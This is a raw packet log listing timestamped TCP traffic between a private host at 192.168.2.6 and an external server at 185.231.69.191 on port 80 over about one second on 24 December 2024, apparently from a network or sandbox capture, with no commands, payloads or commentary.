Dec 24, 2024 14:02:33.316998005 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:33.317047119 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:33.317053080 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:33.317094088 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:33.317964077 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:33.318011999 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:33.318113089 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:33.318162918 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:33.539518118 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:33.659898996 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:33.940287113 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:33.940356970 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:33.940511942 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:33.940560102 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:33.940810919 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:33.940857887 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:33.940990925 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:33.941044092 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:33.941871881 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:33.941922903 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:33.942662954 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:33.942681074 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:33.942698002 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:33.942717075 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:33.942732096 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:33.943677902 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:33.943726063 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:33.943732023 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:33.943763971 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:33.944617033 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:33.944660902 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:33.944725990 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:33.944767952 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:33.945563078 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:33.945609093 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:33.945805073 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:33.945857048 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:33.946557999 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:33.946644068 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:33.946646929 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:33.946686029 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:33.947573900 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:33.947622061 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:33.947688103 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:33.947732925 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:33.948539972 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:33.948584080 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:33.948657036 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:33.948702097 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:33.949475050 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:33.949526072 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:33.949553967 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:33.949596882 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:33.950541973 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:33.950602055 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:33.950649023 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:33.950690985 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:33.951441050 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:33.951484919 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:33.951982975 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:33.952023983 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:33.952431917 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:33.952485085 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:33.952766895 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:33.952821016 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:33.953493118 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:33.953540087 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:33.953785896 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:33.953835011 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:33.954508066 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:33.954551935 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:33.954555035 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:33.954592943 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:33.955383062 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:33.955425978 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:33.955604076 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:33.955651999 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:33.956362963 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:33.956404924 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:33.956896067 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:33.956943989 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:33.957372904 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:33.957389116 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:33.957418919 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:33.957434893 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:33.958661079 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:33.958705902 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:33.958775997 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:33.958817959 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:33.959351063 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:33.959403038 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:33.959918976 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:33.959966898 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:33.960253954 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:33.960310936 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:33.960416079 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:33.960464954 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:33.961319923 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:33.961378098 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:33.961443901 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:33.961493969 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:33.962258101 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:33.962300062 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:33.962446928 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:33.962541103 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:33.963203907 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:33.963251114 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:33.963452101 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:33.963499069 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:33.964221954 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:33.964268923 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:33.964333057 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:33.964384079 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:33.965183973 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:33.965226889 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:33.965755939 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:33.965802908 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:33.966280937 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:33.966296911 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:33.966330051 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:33.966344118 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:33.967354059 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:33.967401981 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:33.967636108 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:33.967683077 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:33.968111992 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:33.968164921 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:33.968364954 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:33.968410969 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:33.969109058 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:33.969157934 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:33.969439030 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:33.969491005 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:33.970073938 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:33.970123053 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:33.970200062 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:33.970247030 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:33.971046925 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:33.971096039 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:33.971136093 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:33.971182108 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:33.972074032 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:33.972121000 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:33.972153902 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:33.972198009 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:33.973005056 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:33.973054886 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:33.973368883 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:33.973418951 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:33.973993063 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:33.974040985 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.018374920 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.018547058 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.018620014 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.018673897 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.018713951 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.018764019 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.018843889 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.018893003 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.019586086 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.019640923 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.020426989 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.020486116 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.020617008 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.020632982 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.020665884 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.020679951 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.021564960 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.021614075 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.021867990 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.021915913 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.022526026 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.022573948 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.022639036 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.022691011 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.023571968 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.023624897 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.023719072 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.023767948 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.024524927 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.024574995 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.024707079 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.024755001 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.025469065 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.025518894 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.025559902 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.025614977 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.026475906 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.026527882 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.026763916 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.026814938 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.027416945 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.027470112 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.027494907 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.027540922 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.028378010 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.028428078 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.028491974 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.028538942 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.029369116 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.029418945 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.029426098 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.029467106 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.030400038 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.030448914 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.030488968 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.030536890 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.031661987 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.031712055 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.031776905 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.031826973 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.032478094 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.032494068 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.032527924 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.032541990 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.033284903 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.033335924 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.033483982 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.033531904 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.034332991 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.034349918 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.034387112 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.034404993 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.035252094 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.035301924 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.035348892 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.035403967 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.036236048 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.036290884 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.132350922 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.132436991 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.132507086 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.132617950 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.132707119 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.132752895 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.132981062 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.133028030 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.133476019 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.133527994 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.133536100 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.133579969 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.134443998 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.134493113 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.134910107 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.134958029 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.135567904 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.135617018 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.135898113 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.135945082 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.136425972 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.136480093 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.136670113 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.136715889 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.137414932 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.137465000 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.137542009 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.137589931 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.138380051 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.138430119 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.138540030 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.138586998 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.139432907 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.139482975 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.139864922 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.139916897 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.140388012 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.140438080 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.140502930 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.140552998 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.141335964 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.141385078 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.141406059 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.141449928 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.142359972 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.142429113 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.142481089 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.143311024 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.143371105 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.143712044 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.143762112 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.144224882 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.144275904 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.144445896 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.144498110 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.145236969 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.145291090 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.145486116 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.145536900 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.146234035 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.146284103 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.146817923 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.146869898 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.147181988 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.147232056 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.147273064 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.147332907 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.148139954 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.148194075 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.148228884 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.148273945 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.149189949 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.149205923 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.149244070 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.149257898 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.150141954 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.150197983 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.150904894 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.150958061 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.151107073 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.151160955 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.151227951 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.151304007 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.152220964 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.152240038 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.152275085 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.152290106 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.153031111 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.153084040 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.153100967 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.153148890 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.154014111 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.154067039 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.154129028 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.154176950 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.155009985 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.155061960 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.155103922 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.155148029 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.156018019 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.156066895 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.156250954 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.156299114 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.156984091 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.157036066 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.157311916 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.157361984 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.158039093 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.158441067 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.158505917 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.158989906 CET	80	49787	185.231.69.191	192.168.2.6
